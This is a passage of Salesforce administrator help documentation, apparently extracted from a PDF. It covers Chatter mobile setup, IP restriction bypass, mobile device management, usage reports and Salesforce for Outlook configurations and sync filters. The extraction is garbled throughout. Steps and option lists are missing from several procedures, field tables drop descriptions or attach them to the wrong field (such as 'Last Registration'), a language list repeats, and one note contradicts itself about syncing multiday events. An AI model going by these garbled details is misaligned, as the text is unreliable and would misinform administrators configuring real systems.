to attach a file to your post. In the Chatter mobile app, you can attach any file you have access to in either
Salesforce CRM Content libraries or in Chatter. Currently, you cant share files stored locally on your iPhone.
How do I refresh a feed?
To refresh a feed, scroll to top of the feed, then drag your finger down and release.
What shows up on the @ Me tab?
996
Salesforce Mobile
Note: The search box is hidden. You cant see it until you drag the page down.
997
Salesforce Mobile
7. Tap the name of the newly created instance, then log in.
See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access
5. Select the mobile device types your organization allows to use Chatter mobile app. The Chatter mobile app displays an
error message if a user tries to use the Chatter mobile app on a restricted device.
6. Optionally, enable push notifications. Push notifications are alerts that apps render on mobile device home screens when
users are not using the app. These alerts can consist of text, icons, and sounds, depending on the device type.
The Chatter mobile app uses push notifications to keep users aware of important Chatter activity without requiring users
to return to the app. For example, push notifications can notify a user when someone posts on the user's profile, mentions
the user in a post, comments on the user's post, and more.
7. Optionally, set the session security timeout for the Chatter mobile app. When a session expires, users must enter their
passcode to access the Chatter mobile app on their mobile device. You dont need to set this option if the operating system
automatically locks the device after a period of inactivity.
8. Click Save.
9. If your organization restricts login IP ranges, exempt the users and groups that need to access the Chatter mobile app
outside of your organization's login IP range. You do not need to exempt users with BlackBerry devices; BlackBerry devices
998
Salesforce Mobile
must already have Internet connectivity through a BlackBerry Enterprise Server with an IP address that falls within the
Salesforce login IP ranges.
10. Restart the Chatter mobile app if configuration changes in Salesforce do not appear on your mobile device.
See Also:
Setting Login Restrictions
Salesforce Mobile Overview
Chatter Overview
Chatter Mobile App Overview
Viewing Chatter Mobile App Activity and Revoking Access
If your organization has trusted IP ranges, specify the users that can use the Chatter mobile app outside of those ranges.
Important:
Users cannot use the Chatter mobile app outside of your trusted IP ranges unless you specifically include them or
their group in the list of users who can bypass the login IP restrictions.
The users you specify can only bypass the restrictions with the Chatter mobile app; they can't access Salesforce
through a Web browser outside of the trusted IP ranges.
You do not need to specify users with BlackBerry devices. BlackBerry devices must already connect through a
BlackBerry Enterprise Server with an IP address in a trusted Salesforce IP range.
To specify trusted IP ranges, click Your Name > Setup > Security Controls > Network Access.
To specify which users and groups can use the Chatter mobile app outside of your organization's login IP range:
1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > IP Restricted Users.
Note: The IP restriction bypass settings appear only in organizations with profile-based IP restrictions.
2. Specify the users and groups that can bypass the restrictions with the Chatter mobile app.
3. Click Send Email. Salesforce sends them an email with download links for the mobile apps your organization supports
and a unique activation link. Users must click the activation link on their device to use the Chatter mobile app.
999
Salesforce Mobile
Important: Users with IP restrictions cannot use the Chatter mobile app unless they click the activation link
from their mobile device. The activation link cannot be shared or transferred.
See Also:
Setting Login Restrictions
Salesforce Mobile Overview
Chatter Overview
Chatter Mobile App Overview
Configuring the Chatter Mobile App
To view Chatter mobile app activity in your organization, including the date each user activated or used the app, click Your
Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices.
You can also remotely revoke access to the Chatter mobile app for a specific device if the device is lost or stolen. Revoking
access prevents the device from accessing Chatter and deletes Chatter data from the device the next time the device attempts
to synchronize with Salesforce.
To revoke access for your own mobile device:
1. Click Your Name > Setup > Manage Users > Users.
2. Click your name.
3. In the Remote Access related list, click Revoke next to the entry for the Chatter mobile app.
To revoke access for mobile devices owned by other users:
1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices.
2. Select the users for whom you want to revoke access.
3. Click Revoke.
See Also:
Salesforce Mobile Overview
Chatter Mobile App Overview
Configuring the Chatter Mobile App
1000
Salesforce Mobile
For standard objects, click Your Name > Setup > Customize, then select the appropriate object from the Customize
menu, and click Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click New in the Custom Fields & Relationships section of the page.
3. Select Formula, then click Next.
4. Enter the field label.
The field name is automatically populated based on the field label you enter.
5. Select Text, then click Next.
6. In the formula editor, create the link to the custom Visualforce page or external website:
To create a Visualforce link, type "visualforce:///apex/PageName", and replace PageName with the name
of your Visualforce page. You can append parameters to the string, such as ?contactid=" & Id", in order to pass
information from the record in the client application to the Visualforce page.
To create a Web link, type "weblink:", followed by the URL to which you want the link to point, such as
"weblink:http://www.salesforce.com". You can append parameters to the string in order to pass information
from the record in the client application to the Web page. For example, the following Web link launches a social
networking site from a contact record and performs a search for the contact:
"weblink:http://m.linkedin.com/members?search_term=" &FirstName& "+" &LastName&
"&filter=name&commit=Search"
Note: The client application passes the Visualforce or Web link with all parameters to the embedded browser.
It is up to the website or Visualforce Mobile page to interpret any parameters. Be sure to construct your
Visualforce Mobile page to consume any parameters passed in the link.
7. Click Next.
8. Set the field-level security to determine whether the field should be visible or read only for specific profiles, and click Next.
9. Choose the page layouts that should display the field. In the next step, you will customize the layout to change the location
of the field on the page.
10. Click Save.
11. Edit the object's page layout:
For standard object page layouts, select Your Name > Setup > Customize, select the object, and choose the Page
Layouts link. Click Edit next to the name of the page layout you want to modify.
1001
Salesforce Mobile
For custom object page layouts, select Your Name > Setup > Create, select the object, and scroll to the Page Layouts
section. Click Edit next to the name of the page layout you want to modify.
12. Drag a Section element from the palette to the page layout and drop it below the existing sections.
13. In the Section Name field, type Mobile Links.
14. Deselect the Edit Page option.
15. Select the 1-column layout, then click OK.
16. Drag the new text formula field from its current location into the new Mobile Links section.
17. Click Save.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Visualforce Overview
When you're ready to deploy the mobile application to your users, send them an email to notify them about the availability of
the application and provide installation instructions. You can send the email using your corporate email application, like
Outlook, or you can send mass email from Salesforce. Either way, include the URL that launches the download:
For BlackBerry and Windows mobile users, the download URL is mobile.salesforce.com. The link is the same for
the initial download and for subsequent upgrades.
You can obtain the iPhone download URL from iTunes. Open iTunes, click iTunes Store, then search for Salesforce
Mobile. Click the application icon to view details about the app. At the top of the iTunes window is a bread crumb path
representing the application's location in the App Store: App Store > Business > Salesforce Mobile. Drag-and-drop the
path into a text editor or word processing program to display the download URL for the application.
1002
Salesforce Mobile
After a user installs the mobile application on their wireless device and logs in for the first time, Salesforce collects the device
information and associates the device with the user's record. The device information is read only. While the device entry is
created automatically, you can still view and manage all the mobile users and devices in your organization by clicking Your
Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices.
From the All Mobile Users and Devices page:
You can view the list of users in your organization who have been enabled to use Salesforce Mobile.
You can create custom list views to see different subsets of your mobile users (see Creating Custom List Views on page
272). For example, create a view that shows the mobile users who have never logged in to Salesforce from their devices to
evaluate your organization's mobile deployment efforts.
To view details about a mobile device, click the device address. See Viewing Mobile Device Information on page 1004.
To view details about a specific user, click the username.
To view details about a mobile configuration, click the mobile configuration name.
The buttons on the All Mobile Users and Devices page let you perform actions on multiple mobile users at one time. You
can:
Adjust the mobile session timeout value
Erase the Salesforce data from a user's device
Delete a device from a user's record
To find out why a user's device is not synchronizing, hover your mouse over the red error icon in the Status column.
Additional information about the synchronization errors appears on the device's detail page. See Viewing Mobile Device
Information on page 1004.
Note: You can also manage mobile users from the Assigned Mobile Devices related list on the user detail page.
See Also:
Supported Devices for Mobile
Sending Emails to Mobile Users
Salesforce Mobile Overview
Managing Mobile Configurations
1003
Salesforce Mobile
Salesforce collects information about a mobile user's device the first time the user logs in to the mobile application. There are
two ways to access the device details:
Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices, and then click a device
address in the list view.
Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.
Below is a description of the fields in alphabetical order that are stored for each mobile device in your organization.
Field
Description
Brand
Carrier
The name of the carrier providing service for the mobile device,
if available.
Connected Since
Connection Status
Created By
The name of the first user who registered the mobile device
and the time and date the registration occurred.
Data Size
Device Address
Device Model
1004
Salesforce Mobile
Field
Description
Is Simulator?
Last Activated
The last time a full data set was downloaded to the mobile
device. If a user's data set exceeds the limit defined in the
assigned mobile configuration, the device can be registered
but not activated.
The last time data was received from the device. This
information is helpful for troubleshooting connection issues.
Last Registration
The last time the mobile device notified Salesforce that the
device is no longer synchronizing data due to an error. The
Last Status Date field is only visible when an error is
present.
Manufacturer
Metadata Size
Modified By
The name of the last user who registered the mobile device
and the time and date the registration occurred.
Operating System
Phone Number
1005
Salesforce Mobile
Field
Description
Status
Username
Note: If Salesforce detects the selected device was registered by a user in another organization, an error displays on
the device detail page. This can happen when a device was registered to a user in your sandbox organization and then
later activated by a user in your production organization. To remove the old device record from your organization,
simply delete the device.
For security reasons, the mobile client application is set to lock out users after ten minutes of inactivity. Administrators can
adjust or disable this setting on a device-by-device basis. You might disable the timeout setting if the mobile device's operating
system has its own locking mechanism.
To change the mobile session timeout value:
1. Navigate to the Mobile Devices and Users page or the Mobile Device page:
Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view,
you can select multiple devices at one time.
OR
Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.
1006
Salesforce Mobile
5. A confirmation page summarizes the results for each mobile device you selected.
Mobile Session Timeout Results
After Salesforce sends the new session timeout session to the selected mobile devices, a results page provides information about
the status of each message. The table below describes the three possible outcomes:
Result
Description
See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Erasing Mobile Data
Deleting Mobile Devices
Salesforce Mobile Overview
A mobile device activated by a Salesforce user contains both the mobile client application and a set of the user's Salesforce
data. An administrator can remove the data from a device without uninstalling the mobile application. This is an effective
security tool when a user misplaces his or her device. You also must erase a device's data if you plan to give it to another user.
To erase the Salesforce data on one or more mobile devices:
1. Navigate to the Mobile Devices and Users page or the Mobile Device page:
Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view,
you can select multiple devices at one time.
1007
Salesforce Mobile
Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.
Description
See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Deleting Mobile Devices
There are two instances when you would delete a mobile device from a user's record:
1008
Salesforce Mobile
Your organization's mobile settings permanently link mobile users to their devices, and you need to assign a device to a
different user. If you did not enable this setting, Salesforce automatically associates a device record with the mobile user
who most recently activated the device, so it is unnecessary to delete a device to assign it to another user.
You want to move a device from your sandbox organization to your production organization.
Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view,
you can select multiple devices at one time.
OR
Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.
2. On the Mobile Devices and Users page, select one or more devices, then click Delete Device. On the Mobile Device page,
click Delete.
3. Click OK.
Salesforce attempts to delete the selected device(s).
4. A confirmation page summarizes the results for each mobile device you selected.
Delete Device Results
After Salesforce sends the message to the mobile server to delete the devices, a results page provides information about the
status of each device. The table below describes the three possible outcomes:
Result
Description
Device deleted.
Device cannot be deleted at this time. Please try again later. A temporary communication problem between Salesforce and
the mobile server prevented the device from being deleted.
Try again later.
User has no mobile device.
See Also:
Erasing Mobile Data
Sandbox Overview
1009
Salesforce Mobile
See Also:
Salesforce Mobile Overview
Mobile Lite Overview
Chatter Mobile App Overview
Managing Mobile Configurations
Managing Mobile Devices
Salesforce Mobile Usage Data in Custom Report Types
1010
Salesforce Mobile
You can create custom report types with data that shows how your organization uses Salesforce Mobile. For example, the
reports can show how often users access Salesforce Mobile, which mobile device models they use, and so forth.
To create a custom report type with Salesforce Mobile usage data, select the Mobile Session Primary Object when defining
a custom report type. When you select the fields for the custom report type, choose from the following Salesforce Mobile-specific
fields.
Mobile Usage Data Point
Definition
Brand
Wireless carrier
Device Address
Device Model
Model of device
Duration
Manufacturer
Manufacturer of device
Status
Indicator that the user's data set exceeds the maximum allowed
size by the mobile configuration
1011
Note:
Mobile sessions are similar to Web-based sessions in login history reports; however, mobile sessions have a fixed
timeout value of 20 minutes. Salesforce creates a new Mobile Session when a user logs into or launches Salesforce
Mobile after 20 minutes of inactivity in the app or on the device in general.
Mobile session reports only have usage data for the Salesforce Mobile app and not the Chatter mobile app.
Some devices do not provide every physical attribute. For example, Apple devices do not provide brand.
See Also:
Salesforce Mobile Overview
Mobile Lite Overview
Customizing Mobile Settings
Managing Mobile Configurations
Managing Mobile Devices
System Requirements
Other Requirements
Servers
Server configuration
Yes.
No.
1012
Microsoft Windows Vista and Windows 7 .msi users must run the command prompt as an administrator and then
launch the installer from the command line, such as from the command msiexec /i SalesforceForOutlook.msi.
Single Sign-On Requirements
Salesforce for Outlook supports both delegated authentication and Security Assertion Markup Language (SAML)
requirements. When using SAML in Salesforce for Outlook, My Domain is required. We dont support using a separate
online identity provider for single sign-on.
See Also:
Salesforce for Outlook Overview
Installing Salesforce for Outlook
Reviewing the Salesforce for Outlook Terms of Use
Salesforce for Outlook Supported Languages
Chinese (Simplified)
Chinese (Traditional)
Czech
Danish
Dutch
English
German
Finnish
French
Hebrew
Hungarian
Italian
Japanese
Korean
1013
Polish
Portuguese (Brazil)
Romanian
Russian
Spanish
Spanish (Mexico)
Swedish
Thai
Turkish
Ukrainian
Vietnamese
Hebrew
Portuguese (Brazil)
Romanian
Spanish (Mexico)
Thai
Vietnamese
See Also:
Salesforce for Outlook System Requirements
A Salesforce for Outlook configuration is a set of parameters that determine the data that Salesforce for Outlook users can
sync between Microsoft Outlook and Salesforce. You can create multiple configurations to simultaneously suit the needs
of different types of users. For example, a sales team might want to sync everything, while a manager might only want to sync
events. Users may be able to edit some of their own settings.
Default configurations are automatically assigned to users of Contact Manager and Group Editions.
To manage your configurations, click Your Name > Setup > Desktop Administration > Outlook Configurations.
1014
See Also:
Creating Salesforce for Outlook Configurations
Defining Data Sets for Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets
Default Salesforce for Outlook Configuration
Salesforce for Outlook Overview
1.
2.
3.
4.
5.
Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click New Outlook Configuration.
Enter a name and description of the configuration.
Select Active to activate the configuration.
Make sure Notify of product updates is selected if you want users to see system tray alerts when new versions of
Salesforce for Outlook are available for download. Users are alerted every 14 days until they download the new version or
hide system tray alerts.
6. Depending on the configuration, you'll need to define some or all of these settings.
7. Click Save.
1015
See Also:
Salesforce for Outlook Configurations Overview
Default Salesforce for Outlook Configuration
After you define basic information for a Salesforce for Outlook configuration, you select the Salesforce for Outlook users that
the configuration's settings will apply to.
1.
2.
3.
4.
5.
Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click Edit.
In the Assign Users and Profiles section, select either Profiles or Users in the Search drop-down list.
If you don't see the member you want to add, enter keywords in the search box and click Find.
Select members from the Available Members box, and click Add to add them to the group. If all available users are assigned
to this configuration, the Users list is empty and you can only assign profiles.
6. To remove members, select those members and click Remove. If removed users are assigned to another active configuration
through a profile, that other configuration is used the next time they open Outlook. Otherwise, they're unable to use
Salesforce for Outlook.
7. Click Save. All changes take effect the next time data syncs for the users in this configuration. If you assign a user who is
already assigned to a different configuration, that user is removed from the other configuration and assigned to this one.
If an assigned user is also part of a profile assigned to another active configuration, the configuration that lists the user
directly is used.
See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Enabling Add Email and Create Case in Salesforce for Outlook
1016
Data settings control the sync behavior and email functionality of Salesforce for Outlook. You can define the following settings
using the Data Settings fields in a Salesforce for Outlook configuration.
Customize Application
You can set up Salesforce for Outlook to add emails and create cases from Microsoft Outlook.
Enabling Add Email
Enabling Add Email for your Salesforce for Outlook users adds Add Emails and Send and Add buttons to Outlook that let
users add emails to Salesforce in a single click.
Emails that you add using Salesforce for Outlook are saved in Salesforce and assigned to other records based on your My
Email to Salesforce settings.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Click Edit.
1017
Recommended: Choose an Existing Create Case Destination, which lets you choose existing destinations. You can
choose up to 10 destinations for each Outlook configuration.
Create a New Create Case Destination. If you need to create a new one, you need to first save your work, create the
new destination, and then return to the Outlook Configuration page to complete the Create Case setup requirements.
4. Click Save.
See Also:
Adding Email with Salesforce for Outlook
Editing Your Salesforce for Outlook Email Settings
Resolving Your Unassigned Emails
Creating Salesforce for Outlook Configurations
Assigning Users to Salesforce for Outlook Configurations
1018
3. Enable Create Case in your configurations. The topic Enabling Create Case on page 1018 provides details for editing
configurations to include the drop-down list button Create Cases in Outlook.
Salesforce for Outlook assigns a category to the emails that Salesforce for Outlook users add as cases to Salesforce. This
category, Added to Salesforce as a case, makes it easy for users to search for emails they added as cases to Salesforce.
See Also:
Creating Salesforce for Outlook Configurations
Enabling Add Email and Create Case in Salesforce for Outlook
Sync direction indicates the direction data flows when Salesforce for Outlook syncs data.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Create or edit a configuration, and select one of these sync directions under Data Settings for each object being synced.
Don't syncOutlook and Salesforce records aren't synced, and you can't select an Outlook folder to sync within
the setup wizard.
Salesforce.com to OutlookWhen data first syncs, a record in Salesforce creates or updates a record in
Outlook. During future syncs, changes made to Salesforce records appear in Outlook, regardless of whether the Outlook
version of the record has changed. In addition, deleting a synced record in Salesforce deletes its Outlook counterpart.
Outlook changes are never sent to Salesforce. The required conflict behavior setting for this option is Salesforce.com
always wins.
Outlook to salesforce.comDuring its first sync, a record in Outlook creates or updates a record in Salesforce.
During future syncs, changes made to Outlook records appear in Salesforce, regardless of whether the Salesforce version
has changed. In addition, deleting a synced record in Outlook deletes its Salesforce counterpart. Salesforce changes are
never sent to Outlook. The required conflict behavior setting for this option is Outlook always wins. This option
isn't available for contacts.
Sync both waysWhen records sync, changes to Outlook records are reflected in Salesforce, and vice versa. If
records conflict, the conflict behavior setting determines which record wins.
3. Click Save. All changes take effect the next time data syncs for the users in this configuration.
1019
4. Define a data set for each object that has a sync direction.
See Also:
Defining Data Sets for Salesforce for Outlook
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Defining Conflict Behavior for Salesforce for Outlook
Enabling Add Email and Create Case in Salesforce for Outlook
Conflict behavior settings determine what happens when Salesforce for Outlook encounters a conflict when syncing data both
ways. A conflict occurs when the same record is updated in both Salesforce and Outlook or when a record is updated on one
side and deleted in the other.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Edit a configuration, and select a conflict behavior under Data Settings for each object being synced. Possible options are:
3. Click Save. All changes take effect the next time data syncs for the users in this configuration.
See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Mapping Fields for Salesforce for Outlook
Defining Sync Directions for Salesforce for Outlook
1020
Field mappings define which Salesforce and Outlook fields correspond when records sync with Salesforce for Outlook.
Salesforce comes with a set of default mappings. You may be able to change some of them.
To map fields:
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations
2. Under Data Settings, click Edit Field Mappings to display the list of available fields.
3. Choose a field from the Salesforce Field picklist. This list displays the names of all Salesforce fields that haven't yet
been mapped.
Caution: If you map a custom field that is universally required, make sure it has a default value to avoid errors.
Also, note that mapping custom fields that require validation by Salesforce may cause sync errors. For example, if
you map a custom Salesforce field that requires a unique value, you'll get a uniqueness error when you sync if you
enter a non-unique value in the Outlook field.
4. Choose a field from the Outlook Field picklist next to the selected Salesforce.com field. This list displays the names
of all standard Outlook fields that haven't yet been mapped and that match the data type of the corresponding Salesforce
field.
5. To map a Salesforce field to a custom Outlook field, select Custom Field... from the end of the corresponding
Outlook Field picklist. Enter the field's name and click OK.
The custom field must already exist in Outlook. Letters are not case-sensitive, and these characters aren't allowed: [, ], _,
#. The first sync validates that the custom Outlook field exists and then maps it to the Salesforce field. Custom Outlook
fields use a string data type. Note that we only allow custom fields for Salesforce text fields and non-restricted picklists.
6. To remove a field mapping, click the delete icon to the right of the mapping. To redo the mapping, just add a new mapping
to the bottom of the list. To view your mappings, click View under Field Mapping on the detail page.
7. Click Save. All changes take effect the next time data syncs for the users in this configuration.
1021
Note: You can map custom Salesforce fields to standard or custom Outlook fields. You can't map picklist values.
See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Defining Matching Criteria for Salesforce for Outlook
Defining Conflict Behavior for Salesforce for Outlook
If Salesforce for Outlook finds multiple matching contacts when a contact first syncs from Outlook, we pick a Salesforce
contact based on the matching criteria you define here.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Edit a configuration, and select one of these matching criteria options under Data Settings for contacts.
Most recent activityChoose the Salesforce contact that shows the most recent activity (such as a phone call
or email), as shown in the contact's Activity History related list. This is the default matching option.
Last updatedChoose the Salesforce contact that was most recently modified.
OldestChoose the Salesforce contact that has the earliest creation date.
3. Click Save. All changes take effect the next time data syncs for the users in this configuration.
If we don't find a matching contact in Salesforce, we create a new contact that syncs with the Outlook contact. We then either
automatically assign the synced contact to a Salesforce account, leave it unassigned, or place it in the user's My Unresolved
Items page to be manually assigned.
See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Mapping Fields for Salesforce for Outlook
1022
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Edit a configuration, and select any of the following checkboxes under Data Settings for each object being synced. You
can allow users to modify:
3. Click Save. All changes take effect the next time data syncs for the users in this configuration.
You can overwrite users' modifications any time by selecting Overwrite configuration changes made by users
in a configuration. After you save the updated configuration, the new settings replace the existing settings for users of the
configuration the next time their data syncs.
Use advanced settings in a Salesforce for Outlook configuration to customize the default behavior of Salesforce for Outlook,
such as setting the maximum size of the sync log. Click Edit to change the value of an advanced setting or Remove to remove
it from the configuration.
1.
2.
3.
4.
Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click Edit.
Click Add Advanced Setting in the Advanced Settings section of an Outlook configuration.
Choose one of these settings and enter a value.
1023
Advanced Setting
Description
HTTPTimeout
MaxLogFileSize
Maximum file size of the sync log you'll maintain. Value must be between 1
and 128 MB, and the default is 1.
MaxRetries
5. Click OK.
6. Click Save. All changes take effect the next time data syncs for the users in this configuration.
See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Defining Data Sets for Salesforce for Outlook
Because Salesforce for Outlook configurations are only available in Professional, Enterprise, Unlimited, and Developer Editions,
users of Contact Manager and Group Editions are automatically assigned a default configuration so they can use Salesforce
for Outlook. The default configuration has these settings.
Events
Sync DirectionSync both ways
Conflict BehaviorOutlook always wins
1024
Filters
User's Records
Date greater or equal to LAST 30 DAYS
Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. Each configuration must have a data set in order for users to sync with Outlook.
The Outlook Configuration detail page shows a summary of the configuration's current filters.
1.
2.
3.
4.
5.
Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click the name of an Outlook configuration.
In the Data Sets related list, click Edit.
Specify filters.
To see how many items will sync, you can check the data set size.
1025
6. Click Save.
See Also:
Sample Salesforce for Outlook Data Sets
Tips on Entering Salesforce for Outlook Contact Filters
Salesforce for Outlook Configurations Overview
Checking the Size of Salesforce for Outlook Data Sets
Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync.
Knowing What Syncs
Salesforce for Outlook syncs records based on definitions in data sets, along with records related to them.
Understanding Limits to Data Sets
When using data sets, users can sync up to 5,000 records per filter between Microsoft Outlook and Salesforce at a time.
This means that if users have more than 5,000 records to sync based on the configuration of their data sets, Salesforce for
Outlook won't sync some of them. In addition, users may find that syncing these large quantities of records may slow down
the sync process. You can, however, increase the limits for the number of records users can sync. Just keep in mind that you
can't reduce the likelihood of the sync process slowing down.
Increasing Limits to Data Sets
If your users are working with more than 5,000 records, you can configure their data sets so that they can sync larger quantities
of records. To do this, you'll their edit data sets to include additional filters. For example, under Filter By Record Ownership
in the Contact Filters section, choose Selected Contacts. Then, choose User's Records under Contacts, Contacts on
Opportunities, and Contacts on Accounts. Because the data set now has three filters, your users can now sync up to 15,000
contact records.
Keep in mind that these various filters you set up won't necessarily select records that are mutually exclusive. Therefore, the
sync process might not sync exactly 15,000 records. To avoid this situation, you can further refine the group of contacts you
want to sync. Just define additional parameters under Filter By Additional Objects and Fields.
1026
After defining the filters, you can get a record count for your users in the Data Set Size section. To do so, enter a user, and
then click Get Record Count. If your users still exceed sync limits for the filters you set up, you users may find that the sync
process selects records in a random fashion.
About Person Accounts
If your organization enabled person accounts and your users have more than 5,000 records in Salesforce, data sets work in a
different way. Specifically, Salesforce runs a query first on person accounts that match filter criteria, and then on contacts
assigned to these accounts. So it's possible for the sync process to reach the 5,000 record limit (including person accounts and
contacts) and not include some of the contacts your users would expect to sync.
See Also:
Entering Contact Filters for Salesforce for Outlook
Entering Event Filters for Salesforce for Outlook
Entering Task Filters for Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets
Account Teams
Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. For example, you may want to let certain users sync all contacts, but let other users sync only contacts
related to their sales teams. In addition, you can filter by the fields in the records, such as letting users sync only contacts related
to specific accounts and opportunities.
The Outlook Configuration detail page shows a summary of the configuration's current filters.
1. Define a data set for a configuration.
2. Under Filter By Record Ownership, specify whether users can sync all contacts or only selected ones.
3. If you click Selected Contacts, you can further limit which contacts users can sync using these checkboxes.
Contacts
User's RecordsSyncs all contacts the user owns
User's Team's RecordsSyncs all contacts owned by the user and the user's subordinates in the role hierarchy
1027
Contacts on Opportunities
User's RecordsSyncs contacts related to the user's opportunities
User's Team's RecordsSyncs contacts related to opportunities owned by the user and the user's subordinates
in the role hierarchy
User's Sales Teams' RecordsSyncs contacts related to opportunities the user is a sales team member of
but not opportunities the user owns
Contacts on Accounts
User's RecordsSyncs contacts related to the user's accounts
User's Team's RecordsSyncs contacts related to accounts owned by the user and the user's subordinates in
the role hierarchy
User's Account Teams' RecordsSyncs contacts related to accounts the user is a team member of but not
accounts the user owns
4. Under Filter By Additional Objects and Fields, add any field-level filters you need.
a. Select an object and a field within that object.
b. Select the correct filter operator.
c. Enter a value for the selected field.
5. Click Add Row to add a new filter or Remove Row to delete the last one in the list.
6. Under Other Contacts to Include, make sure Sync contacts users follow in Chatter is selected if you want
Chatter contacts to automatically sync for users of this configuration.
7. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
Note: If you remove access to certain objects by deselecting the Selected Contacts checkboxes, filters for those
objects will be marked with a warning icon indicating that they're no longer valid. All marked filters are removed when
you save.
See Also:
Tips on Entering Salesforce for Outlook Contact Filters
Defining Data Sets for Salesforce for Outlook
Sample Salesforce for Outlook Data Sets
Checking the Size of Salesforce for Outlook Data Sets
Contact filters control the number of records that Salesforce for Outlook users can sync between Outlook and Salesforce. Note
the following when using contact filters.
1028
The criteria you specify are AND based, so if you specify more than one criterion, the result includes only records that
match all of the criteria.
If entering a date, use the format allowed by your Locale setting. You can also use special date values like TODAY,
NEXT WEEK, NEXT YEAR, LAST <number> DAYS, and so on.
When searching for numbers or other data that includes commas, place quotation marks around the data. For example:
Amount equals "10,000" returns records that have an amount of $10,000.
When you use the less than, greater than, less or equal, or greater or equal operators on fields that have numeric
values, records with blank or null values are returned as if their value is zero (0).
To limit results to records that are blank or contain null values for a particular field, choose the field and the equals or
not equal to operators, leaving the third field blank. For example, Amount equals returns records with blank amount
fields. You can search for blank values or other specified values at the same time. For example, Amount equals 1,,2
returns records where the Amount is blank or contains the value 1 or 2. For example, if you create a workflow a filter
for accounts with the criteria Annual Revenue less than 100000, account records match if their Annual
Revenue is blank.
To search for phone numbers, you might need to include the exact phone number formatting; for example, Phone starts
with (561).
To create a filter that includes more than one value, enter your search terms, separated by commas, in the corresponding
field. You can enter up to 80 characters, including commas and spaces. For example, to search for accounts in California,
New York, or Washington, use State contains CA, NY, WA.
When you filter on standard long text area fields, such as Description, only the first 1000 characters of the field are
searched.
You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
If you need to reference user information in your contact filters, you can add the following merge fields to them.
Merge Field
Description
$User.ID
$User.Username
$User.Firstname
$User.Lastname
1029
Merge Field
Description
$User.Fullname
References the first and last name of the current user. This
merge field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.
See Also:
Entering Contact Filters for Salesforce for Outlook
Defining Data Sets for Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets
Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. For example, most users may sync only current and future events, while some users may need to also
sync past events. Salesforce for Outlook syncs events based on their end dates rather than their start dates. For example, if
you're syncing current and future events only, a two-day event that started yesterday still syncs.
The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current event filters.
1. Define a data set for a configuration.
2. Under Events, enter one of these filters in the Greater or equal to field.
TODAYSyncs events that end on or after today. The start time is 12:00 a.m.
LAST MONTHSyncs events that ended on or after the first day of last month.
LAST N DAYSSyncs events that ended on or after a specified number of days ago, such as LAST 30 DAYS.
3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
4. Save the data set.
1030
Note: The following items don't sync: recurring events, all-day events beginning on the first day you're configured
to sync, and event attendees. Multiday events sync as single events in either direction. Multi-day events do sync.
See Also:
Sample Salesforce for Outlook Data Sets
Syncing Events with Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets
Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. For example, most users may sync past-due tasks, while other users sync only current and future tasks.
Salesforce for Outlook syncs tasks based on their due dates rather than their start dates. For example, if you're syncing current
and future tasks only, a task that started yesterday still syncs.
The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current task filters.
To enter task filters:
1. Define a data set for a configuration.
